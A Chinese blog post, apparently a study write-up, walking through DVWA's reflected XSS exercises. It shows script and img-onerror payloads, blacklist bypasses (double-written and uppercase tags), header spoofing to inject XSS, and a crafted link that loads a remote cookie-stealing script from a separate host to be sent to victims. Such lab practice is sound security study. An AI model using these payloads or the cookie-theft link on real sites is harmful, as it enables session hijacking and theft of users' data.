XSS(Reflected)
XSS(Reflected)
前言
前面已經(jīng)對xss存儲型進行了練習(xí),有了初步的認識
這里結(jié)合dvwa靶場對xss反射型漏洞來進行一個初步的學(xué)習(xí)
練習(xí)
Low
進入xss反射型練習(xí),可以看到這里是我們輸入什么后,下面就會輸出Hello+我們的輸入
OK,直接來試下<script>alert(1)</script>
可以看到1成功彈出,說明存在很簡單(沒有任何防護)的xss漏洞
再試下我們的xss平臺的payload(不知道XSS平臺請看前面的xss(stored)這篇文章)
可以看到成功返回,因為這是get方式的請求
所以我們可以制造下面的鏈接,用csrf中用過的方法誘使別人去訪問從而獲得信息
http://192.168.2.123:8325/vulnerabilities/xss_r/?name=<script+src%3D"http%3A%2F%2F192.168.99.100%2Fmyjs%2Fcookie.js"><%2Fscript>#
Medium
這里和存儲型一樣也是黑名單機制,也是過濾了<script>
雙寫繞過
<scri<script>pt>
這里它要替換的是<script>所以只用在頭部雙寫就行
親測alert和xss平臺payload可行
大寫繞過
因為只替換<script>所以我們將里面任一字母大寫都能繞過…
親測alert和xss平臺payload可行
High
這里和存儲型的防護方式都是一樣的,這里嚴格限制了<script>標簽
但是img,body,iframe等標簽都還是可以用的…
可以看到用<img src=1 οnerrοr=alert(1)>作為輸入后成功彈窗
TIPS
前面在xss存儲型說的如何在img標簽中插入我們的xss平臺payload我終于找到了
參考:XSS的原理分析與解剖
上面的博客寫的真的不錯很適合入門,里面的例子自己都可以手動自己過一遍
img帶xss payload語句:
<img src=x οnerrοr=appendChild(createElement(‘script’)).src=‘js_url’ />
然后親測xss存儲型low和medium級別都沒問題,high會過濾script關(guān)鍵字還是不行…
當然反射型也一樣low和medium級別都可行,但high級別不行,期待大佬的幫助ing…
一點分享,關(guān)于客戶端ip的修改,剛好前面菜鳥級ctf時遇到過,看大佬的文章發(fā)現(xiàn)還有插件可以用,正好分享下
我們都知道當你瀏覽網(wǎng)站的時候,對方的服務(wù)器會記錄下你的IP地址。如果我們偽造IP為XSS代碼呢?這里說的修改IP為XSS不是說修改PC端的,而是在瀏覽器也就是網(wǎng)頁上的客戶端進行修改。
這里需要使用firefox瀏覽器和兩個附件
附件一:X-Forwarded-For Header
因為PHP獲取IP有3個函數(shù)。而X-Forwarded-For Header就是對其中一個函數(shù)X_FORWARDED_FOR起作用,X_FORWARDED_FOR有個缺陷可以使客戶端偽造任意IP,當然包括字符串,但是對其他兩個函數(shù)就不行了。
附件二:Modify Headers
Modify Headers可以偽造數(shù)據(jù)包內(nèi)容,當然也可以偽造HTTP_CLIENT_IP來更改IP。
那還有一個REMOTE_ADDR獲取IP函數(shù),這個怎么修改呢?答案是無法修改。
REMOTE_ADDR是由 nginx 傳遞給 php 的參數(shù),所以就是當前 nginx 直接通信的客戶端的 IP ,而我們無法插手。所以一旦對方使用了REMOTE_ADDR函數(shù)來獲取IP,那就沒辦法了。不過不要緊,一共3個函數(shù),2個函數(shù)可以偽造,我們還是有很大的成功率的
但文章中大佬用的插件在新版的火狐已經(jīng)沒有了,現(xiàn)在的插件不支持非法ip(也就是xss)了,大佬文章中的利用X_FORWARDED_FOR的xss漏洞沒法感受了…但這個漏洞主要是會顯示你登錄ip的網(wǎng)站才可能存在…
總結(jié)
反射型xss,其實練習(xí)完就能感受到比起存儲型xss,利用起來要困難很多
反射型不像存儲型會存儲在網(wǎng)站上,當別人來訪問時就會執(zhí)行,這里需要我們自己來構(gòu)造鏈接誘使用戶點擊,這比起存儲型xss就明顯復(fù)雜很多,存儲xss,類似留言板我們把xss payload仍上去后不用管,只要不被刪,用戶的信息就會往我們的xss平臺上發(fā)了…
所以說反射型和存儲型在找漏洞的時候就是不一樣的,反射型就需要見框就插,這也正是前面做菜鳥級ctf題時遇到輸入框的題目沒有想到xss漏洞,當時只學(xué)習(xí)了存儲型xss所以認識就很片面…
手工的話,記住一句話“見框就插、改數(shù)據(jù)包不可見部分、改URL參數(shù)、js分析”就可以了。改數(shù)據(jù)包、js分析比較深,現(xiàn)在我就不再闡述了,見框就插,大家應(yīng)該都明白,找到一個input輸入框,先輸入唯一字符串,然后看源代碼里有沒有出現(xiàn),再輸入<>""/&()來看看過濾了哪些字符,根據(jù)過濾的字符,來構(gòu)造xss
上面是大佬對反射型xss挖洞的總結(jié),真的覺得說的很好,有種邏輯理順了的感覺
XSS的原理分析與解剖(第二篇)
參考
新手指南:DVWA-1.9全級別教程之CSRF
XSS的原理分析與解剖
XSS的原理分析與解剖(第二篇)
總結(jié)
以上是生活随笔為你收集整理的XSS(Reflected)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 一支笔的测试点_给你一支笔,如何测试
- 下一篇: oracle excel更新,excel